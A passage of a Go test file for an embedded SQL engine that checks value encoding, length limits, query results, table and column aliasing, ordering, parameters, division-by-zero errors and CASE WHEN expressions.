int64(1)}, BooleanType, 0)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Nil(t, b)\n\n\tb, err = EncodeValue(&Integer{val: int64(1)}, VarcharType, 0)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Nil(t, b)\n\n\tb, err = EncodeValue(&Integer{val: int64(1)}, BLOBType, 0)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Nil(t, b)\n\n\tb, err = EncodeValue(&Integer{val: int64(1)}, \"invalid type\", 0)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Nil(t, b)\n\n\tb, err = EncodeValue(&Bool{val: true}, BooleanType, 0)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte{0, 0, 0, 1, 1}, b)\n\n\tb, err = EncodeValue(&Bool{val: true}, IntegerType, 0)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Nil(t, b)\n\n\tb, err = EncodeValue(&Varchar{val: \"title\"}, VarcharType, 0)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte{0, 0, 0, 5, 't', 'i', 't', 'l', 'e'}, b)\n\n\tb, err = EncodeValue(&Blob{val: []byte{}}, BLOBType, 0)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte{0, 0, 0, 0}, b)\n\n\tb, err = EncodeValue(&Blob{val: nil}, BLOBType, 0)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte{0, 0, 0, 0}, b)\n\n\t// Max allowed key size is 32 bytes\n\tb, err = EncodeValue(&Varchar{val: \"012345678901234567890123456789012\"}, VarcharType, 32)\n\trequire.ErrorIs(t, err, ErrMaxLengthExceeded)\n\trequire.Nil(t, b)\n\n\t_, err = EncodeValue(&Varchar{val: \"01234567890123456789012345678902\"}, VarcharType, 0)\n\trequire.NoError(t, err)\n\n\t_, err = EncodeValue(&Varchar{val: \"012345678901234567890123456789012\"}, VarcharType, 0)\n\trequire.NoError(t, err)\n\n\tb, err = EncodeValue(&Blob{val: []byte{\n\t\t0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,\n\t\t0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2},\n\t}, BLOBType, 32)\n\trequire.ErrorIs(t, err, ErrMaxLengthExceeded)\n\trequire.Nil(t, b)\n\n\t_, err = EncodeValue(&Blob{val: []byte{\n\t\t0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,\n\t\t0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1},\n\t}, BLOBType, 0)\n\trequire.NoError(t, err)\n\n\t_, err = EncodeValue(&Blob{val: []byte{\n\t\t0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,\n\t\t0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2},\n\t}, BLOBType, 0)\n\trequire.NoError(t, err)\n\n\tb, err = EncodeValue((&Integer{val: 1}), IntegerType, 0)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 1}, b)\n\n\tb, err = EncodeValue((&Bool{val: true}), IntegerType, 0)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Nil(t, b)\n\n\tb, err = EncodeValue((&Bool{val: true}), BooleanType, 0)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte{0, 0, 0, 1, 1}, b)\n\n\tb, err = EncodeValue((&Integer{val: 1}), BooleanType, 0)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Nil(t, b)\n\n\tb, err = EncodeValue((&Varchar{val: \"title\"}), VarcharType, 0)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte{0, 0, 0, 5, 't', 'i', 't', 'l', 'e'}, b)\n\n\tb, err = EncodeValue((&Integer{val: 1}), VarcharType, 0)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Nil(t, b)\n\n\tb, err = EncodeValue((&Blob{val: []byte{}}), BLOBType, 50)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte{0, 0, 0, 0}, b)\n\n\tb, err = EncodeValue((&Blob{val: nil}), BLOBType, 50)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte{0, 0, 0, 0}, b)\n\n\tb, err = EncodeValue((&Integer{val: 1}), BLOBType, 50)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Nil(t, b)\n\n\tb, err = EncodeValue((&Integer{val: 1}), \"invalid type\", 50)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Nil(t, b)\n\n\t// Max allowed key size is 32 bytes\n\tb, err = EncodeValue((&Varchar{val: \"012345678901234567890123456789012\"}), VarcharType, 32)\n\trequire.ErrorIs(t, err, ErrMaxLengthExceeded)\n\trequire.Nil(t, b)\n\n\t_, err = EncodeValue((&Varchar{val: \"01234567890123456789012345678902\"}), VarcharType, 256)\n\trequire.NoError(t, err)\n\n\t_, err = EncodeValue((&Varchar{val: \"012345678901234567890123456789012\"}), VarcharType, 256)\n\trequire.NoError(t, err)\n\n\tb, err = EncodeValue((&Blob{val: []byte{\n\t\t0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,\n\t\t0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2,\n\t}}), BLOBType, 32)\n\trequire.ErrorIs(t, err, ErrMaxLengthExceeded)\n\trequire.Nil(t, b)\n\n\t_, err = EncodeValue((&Blob{val: []byte{\n\t\t0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,\n\t\t0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1,\n\t}}), BLOBType, 256)\n\trequire.NoError(t, err)\n\n\t_, err = EncodeValue((&Blob{val: []byte{\n\t\t0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,\n\t\t0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2,\n\t}}), BLOBType, 256)\n\trequire.NoError(t, err)\n\n\tb, err = EncodeValue((&Timestamp{val: time.Unix(0, 1000)}), TimestampType, 0)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 1}, b)\n\n\tb, err = EncodeValue((&Integer{val: 1}), TimestampType, 0)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\trequire.Nil(t, b)\n}\n\nfunc TestQuery(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, err = engine.Query(context.Background(), nil, \"SELECT id FROM table1\", nil)\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, _, err = engine.Exec(context.Background(), nil, `CREATE TABLE table1 (\n\t\t\t\t\t\t\t\tid INTEGER,\n\t\t\t\t\t\t\t\tts TIMESTAMP,\n\t\t\t\t\t\t\t\ttitle VARCHAR,\n\t\t\t\t\t\t\t\tactive BOOLEAN,\n\t\t\t\t\t\t\t\tpayload BLOB,\n\t\t\t\t\t\t\t\tPRIMARY KEY id)`, nil)\n\trequire.NoError(t, err)\n\n\tparams := make(map[string]interface{})\n\tparams[\"id\"] = 0\n\n\tr, err := engine.Query(context.Background(), nil, \"SELECT id FROM table1 WHERE id >= @id\", nil)\n\trequire.NoError(t, err)\n\n\torderBy := r.OrderBy()\n\trequire.NotNil(t, orderBy)\n\trequire.Len(t, orderBy, 1)\n\trequire.Equal(t, \"id\", orderBy[0].Column)\n\trequire.Equal(t, \"table1\", orderBy[0].Table)\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT * FROM table1\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\trowCount := 10\n\n\tstart := time.Now()\n\n\tfor i := 0; i < rowCount; i++ {\n\t\tencPayload := hex.EncodeToString([]byte(fmt.Sprintf(\"blob%d\", i)))\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil,\n\t\t\tfmt.Sprintf(`\n\t\t\tUPSERT INTO table1 (id, ts, title, active, payload)\n\t\t\tVALUES (%d, NOW(), 'title%d', %v, x'%s')\n\t\t`, i, i, i%2 == 0, encPayload), nil)\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"should resolve every row\", func(t *testing.T) {\n\t\tr, err = engine.Query(context.Background(), nil, \"SELECT * FROM table1 ORDER BY title\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tcolsBySel, err := r.colsBySelector(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, colsBySel, 5)\n\t\trequire.Equal(t, \"table1\", r.TableAlias())\n\n\t\tcols, err := r.Columns(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, cols, 5)\n\n\t\tfor i := 0; i < rowCount; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Len(t, row.ValuesBySelector, 5)\n\t\t\trequire.False(t, start.After(row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"ts\")].RawValue().(time.Time)))\n\t\t\trequire.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"id\")].RawValue())\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"title\")].RawValue())\n\t\t\trequire.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"active\")].RawValue())\n\n\t\t\tencPayload := []byte(fmt.Sprintf(\"blob%d\", i))\n\t\t\trequire.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"payload\")].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should fail reading due to non-existent column\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id1 FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\t\trequire.Nil(t, row)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should resolve every row with two-time table aliasing\", func(t *testing.T) {\n\t\tr, err = engine.Query(\n\t\t\tcontext.Background(), nil,\n\t\t\tfmt.Sprintf(`\n\t\t\tSELECT * FROM table1 AS mytable1 WHERE mytable1.id >= 0 LIMIT %d\n\t\t`, rowCount), nil)\n\t\trequire.NoError(t, err)\n\n\t\tcolsBySel, err := r.colsBySelector(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, colsBySel, 5)\n\t\trequire.Equal(t, \"mytable1\", r.TableAlias())\n\n\t\tcols, err := r.Columns(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, cols, 5)\n\n\t\tfor i := 0; i < rowCount; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Len(t, row.ValuesBySelector, 5)\n\t\t\trequire.False(t, start.After(row.ValuesBySelector[EncodeSelector(\"\", \"mytable1\", \"ts\")].RawValue().(time.Time)))\n\t\t\trequire.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector(\"\", \"mytable1\", \"id\")].RawValue())\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[EncodeSelector(\"\", \"mytable1\", \"title\")].RawValue())\n\t\t\trequire.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector(\"\", \"mytable1\", \"active\")].RawValue())\n\n\t\t\tencPayload := []byte(fmt.Sprintf(\"blob%d\", i))\n\t\t\trequire.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector(\"\", \"mytable1\", \"payload\")].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should resolve every row with column and two-time table aliasing\", func(t *testing.T) {\n\t\tr, err = engine.Query(\n\t\t\tcontext.Background(), nil,\n\t\t\tfmt.Sprintf(`\n\t\t\tSELECT mytable1.id AS D, ts, Title, payload, Active FROM table1 mytable1 WHERE mytable1.id >= 0 LIMIT %d\n\t\t`, rowCount), nil)\n\t\trequire.NoError(t, err)\n\n\t\tcolsBySel, err := r.colsBySelector(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, colsBySel, 5)\n\t\trequire.Equal(t, \"mytable1\", r.TableAlias())\n\n\t\tcols, err := r.Columns(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, cols, 5)\n\n\t\tfor i := 0; i < rowCount; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Len(t, row.ValuesBySelector, 5)\n\t\t\trequire.False(t, start.After(row.ValuesBySelector[EncodeSelector(\"\", \"mytable1\", \"ts\")].RawValue().(time.Time)))\n\t\t\trequire.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector(\"\", \"mytable1\", \"d\")].RawValue())\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[EncodeSelector(\"\", \"mytable1\", \"title\")].RawValue())\n\t\t\trequire.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector(\"\", \"mytable1\", \"active\")].RawValue())\n\n\t\t\tencPayload := []byte(fmt.Sprintf(\"blob%d\", i))\n\t\t\trequire.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector(\"\", \"mytable1\", \"payload\")].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title, active, payload FROM table1 ORDER BY title\", nil)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, r)\n\n\tallRows := make([]*Row, rowCount)\n\tfor i := 0; i < rowCount; i++ {\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tallRows[i] = row\n\t}\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, ErrNoMoreRows, err)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tisSorted := sort.SliceIsSorted(allRows, func(i, j int) bool {\n\t\tr1 := allRows[i].ValuesByPosition[1]\n\t\tr2 := allRows[j].ValuesByPosition[1]\n\n\t\treturn r1.RawValue().(string) < r2.RawValue().(string)\n\t})\n\trequire.True(t, isSorted)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT Id, Title, Active, payload FROM Table1 ORDER BY Id DESC\", nil)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < rowCount; i++ {\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Len(t, row.ValuesBySelector, 4)\n\n\t\trequire.Equal(t, int64(rowCount-1-i), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"id\")].RawValue())\n\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", rowCount-1-i), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"title\")].RawValue())\n\t\trequire.Equal(t, (rowCount-1-i)%2 == 0, row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"active\")].RawValue())\n\n\t\tencPayload := []byte(fmt.Sprintf(\"blob%d\", rowCount-1-i))\n\t\trequire.Equal(t, []byte(encPayload), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"payload\")].RawValue())\n\t}\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id FROM table1 WHERE id\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrInvalidCondition)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tparams = make(map[string]interface{})\n\tparams[\"some_param1\"] = true\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id FROM table1 WHERE active = @some_param1\", params)\n\trequire.NoError(t, err)\n\n\trow, err := r.Read(context.Background())\n\trequire.NoError(t, err)\n\trequire.Equal(t, int64(0), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"id\")].RawValue())\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tparams = make(map[string]interface{})\n\tparams[\"some_param\"] = true\n\n\tencPayloadPrefix := hex.EncodeToString([]byte(\"blob\"))\n\n\tr, err = engine.Query(\n\t\tcontext.Background(), nil,\n\t\tfmt.Sprintf(`\n\t\tSELECT id, title, active\n\t\tFROM table1\n\t\tWHERE active = @some_param AND title > 'title' AND payload >= x'%s' AND title LIKE 't'`, encPayloadPrefix), params)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < rowCount/2; i += 2 {\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Len(t, row.ValuesBySelector, 3)\n\n\t\trequire.Equal(t, int64(i), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"id\")].RawValue())\n\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"title\")].RawValue())\n\t\trequire.Equal(t, params[\"some_param\"], row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"active\")].RawValue())\n\t}\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT * FROM table1 WHERE id = 0\", nil)\n\trequire.NoError(t, err)\n\n\tcols, err := r.Columns(context.Background())\n\trequire.NoError(t, err)\n\trequire.Len(t, cols, 5)\n\n\trow, err = r.Read(context.Background())\n\trequire.NoError(t, err)\n\trequire.Len(t, row.ValuesBySelector, 5)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tt.Run(\"Query with integer division by zero\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE id / 0\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrDivisionByZero)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE id % 0\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrDivisionByZero)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"Query with floating-point division by zero\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE id / (1.0-1.0)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrDivisionByZero)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE id % (1.0-1.0)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrDivisionByZero)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tr, err = engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE id = 0 AND NOT active OR active\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = r.Read(context.Background())\n\trequire.NoError(t, err)\n\n\terr = r.Close()\n\trequire.NoError(t, err)\n\n\tt.Run(\"Query with integer arithmetics\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE id + 1/1 > 1 * (1 - 0)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"Query with floating-point arithmetic\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE id + 1.0/1.0 > 1.0 * (1.0 - 0.0)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"Query with boolean expressions\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title, active FROM table1 WHERE id = 0 AND NOT active OR active\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"query expressions\", func(t *testing.T) {\n\t\treader, err := engine.Query(context.Background(), nil, \"SELECT 1, (id + 1) * 2.0, id % 2 = 0 FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tcols, err := reader.Columns(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, cols, 3)\n\n\t\trequire.Equal(t, ColDescriptor{Table: \"table1\", Column: \"col0\", Type: IntegerType}, cols[0])\n\t\trequire.Equal(t, ColDescriptor{Table: \"table1\", Column: \"col1\", Type: Float64Type}, cols[1])\n\t\trequire.Equal(t, ColDescriptor{Table: \"table1\", Column: \"col2\", Type: BooleanType}, cols[2])\n\n\t\trows, err := ReadAllRows(context.Background(), reader)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 10)\n\t\trequire.NoError(t, reader.Close())\n\n\t\tfor i, row := range rows {\n\t\t\trequire.Equal(t, int64(1), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col0\")].RawValue())\n\t\t\trequire.Equal(t, float64((i+1)*2), row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col1\")].RawValue())\n\t\t\trequire.Equal(t, i%2 == 0, row.ValuesBySelector[EncodeSelector(\"\", \"table1\", \"col2\")].RawValue())\n\t\t}\n\t})\n\n\tt.Run(\"query with case when then\", func(t *testing.T) {\n\t\t_, _, err := engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`CREATE TABLE employees (\n\t\t\t\temployee_id INTEGER AUTO_INCREMENT,\n\t\t\t\tfirst_name VARCHAR[50],\n\t\t\t\tlast_name VARCHAR[50],\n\t\t\t\tdepartment VARCHAR[50],\n\t\t\t\tsalary INTEGER,\n\t\t\t\thire_date TIMESTAMP,\n\t\t\t\tjob_title VARCHAR[50],\n\n\t\t\t\tPRIMARY KEY employee_id\n\t\t\t);`,\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\tn := 100\n\t\tfor i := 0; i < n; i++ {\n\t\t\t_, _, err := engine.Exec(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\t`INSERT INTO employees(first_name, last_name, department, salary, job_title)\n\t\t\t\tVALUES (@first_name, @last_name, @department, @salary, @job_title)\n\t\t\t\t`,\n\t\t\t\tmap[string]interface{}{\n\t\t\t\t\t\"first_name\": fmt.Sprintf(\"name%d\", i),\n\t\t\t\t\t\"last_name\":  fmt.Sprintf(\"surname%d\", i),\n\t\t\t\t\t\"department\": []string{\"sales\", \"manager\", \"engineering\"}[rand.Intn(3)],\n\t\t\t\t\t\"salary\":     []int64{20, 40, 50, 80, 100}[rand.Intn(5)] * 1000,\n\t\t\t\t\t\"job_title\":  []string{\"manager\", \"senior engineer\", \"executive\"}[rand.Intn(3)],\n\t\t\t\t},\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\t_, err = engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"SELECT CASE WHEN salary THEN 0 END FROM employees\",\n\t\t\tnil,\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrInvalidTypes)\n\n\t\trows, err := engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`SELECT\n\t\t\t\temployee_id,\n\t\t\t\tfirst_name,\n\t\t\t\tlast_name,\n\t\t\t\tsalary,\n\t\t\t\tCASE\n\t\t\t\t\tWHEN salary < 50000 THEN @low\n\t\t\t\t\tWHEN salary >= 50000 AND salary <= 100000 THEN @medium\n\t\t\t\t\tELSE @high\n\t\t\t\tEND AS salary_category\n\t\t\tFROM employees;`,\n\t\t\tmap[string]interface{}{\n\t\t\t\t\"low\":    \"Low\",\n\t\t\t\t\"medium\": \"Medium\",\n\t\t\t\t\"high\":   \"High\",\n\t\t\t},\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, n)\n\n\t\tfor _, row := range rows {\n\t\t\tsalary := row.ValuesByPosition[3].RawValue().(int64)\n\t\t\tcategory, _ := row.ValuesByPosition[4].RawValue().(string)\n\n\t\t\texpectedCategory := \"High\"\n\t\t\tif salary < 50000 {\n\t\t\t\texpectedCategory = \"Low\"\n\t\t\t} else if salary >= 50000 && salary <= 100000 {\n\t\t\t\texpectedCategory = \"Medium\"\n\t\t\t}\n\t\t\trequire.Equal(t, expectedCategory, category)\n\t\t}\n\n\t\trows, err = engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`SELECT\n\t\t\t\tdepartment,\n\t\t\t\tjob_title,\n\t\t\t\tCASE department\n\t\t\t\t\tWHEN 'sales' THEN\n\t\t\t\t\t\tCASE\n\t\t\t\t\t\t\tWHEN job_title = 'manager' THEN '20% Bonus'\n\t\t\t\t\t\t\tELSE '10% Bonus'\n\t\t\t\t\t\tEND\n\t\t\t\t\tWHEN 'engineering' THEN\n\t\t\t\t\t\tCASE\n\t\t\t\t\t\t\tWHEN job_title = 'senior engineer' THEN '15% Bonus'\n\t\t\t\t\t\t\tELSE '5% Bonus'\n\t\t\t\t\t\tEND\n\t\t\t\t\tELSE\n\t\t\t\t\t\tCASE\n\t\t\t\t\t\t\tWHEN job_title = 'executive' THEN '12% Bonus'\n\t\t\t\t\t\t\tELSE 'No Bonus'\n\t\t\t\t\t\tEND\n\t\t\t\tEND AS bonus\n\t\t\tFROM employees;`,\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, n)\n\n\t\tfor _, row := range rows {\n\t\t\tdepartment := row.ValuesByPosition[0].RawValue().(string)\n\t\t\tjob, _ := row.ValuesByPosition[1].RawValue().(string)\n\t\t\tbonus, _ := row.ValuesByPosition[2].RawValue().(string)\n\n\t\t\tvar expectedBonus string\n\t\t\tswitch department {\n\t\t\tcase \"sales\":\n\t\t\t\tif job == \"manager\" {\n\t\t\t\t\texpectedBonus = \"20% Bonus\"\n\t\t\t\t} else {\n\t\t\t\t\texpectedBonus = \"10% Bonus\"\n\t\t\t\t}\n\t\t\tcase \"engineering\":\n\t\t\t\tif job == \"senior engineer\" {\n\t\t\t\t\texpectedBonus = \"15% Bonus\"\n\t\t\t\t} else {\n\t\t\t\t\texpectedBonus = \"5% Bonus\"\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\tif job == \"executive\" {\n\t\t\t\t\texpectedBonus = \"12% Bonus\"\n\t\t\t\t} else {\n\t\t\t\t\texpectedBonus = \"No Bonus\"\n\t\t\t\t}\n\t\t\t}\n\t\t\trequire.Equal(t, expectedBonus, bonus)\n\t\t}\n\n\t\trows, err = engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`SELECT\n\t\t\t\tCASE\n\t\t\t\t\tWHEN department = 'sales' THEN 'Sales Team'\n\t\t\t\tEND AS department\n\t\t\tFROM employees\n\t\t\tWHERE department != 'sales'\n\t\t\tLIMIT 1\n\t\t\t;`,\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 1)\n\t\trequire.Nil(t, rows[0].ValuesByPosition[0].RawValue())\n\t})\n\n\tt.Run(\"invalid queries\", func(t *testing.T) {\n\t\tr, err = engine.Query(context.Background(), nil, \"INVALID QUERY\", nil)\n\t\trequire.ErrorIs(t, err, ErrParsingError)\n\t\trequire.EqualError(t, err, \"parsing error: syntax error: unexpected IDENTIFIER at position 7\")\n\t\trequire.Nil(t, r)\n\n\t\tr, err = engine.Query(context.Background(), nil, \"UPSERT INTO table1 (id) VALUES(1)\", nil)\n\t\trequire.ErrorIs(t, err, ErrExpectingDQLStmt)\n\t\trequire.Nil(t, r)\n\n\t\tr, err = engine.Query(context.Background(), nil, \"UPSERT INTO table1 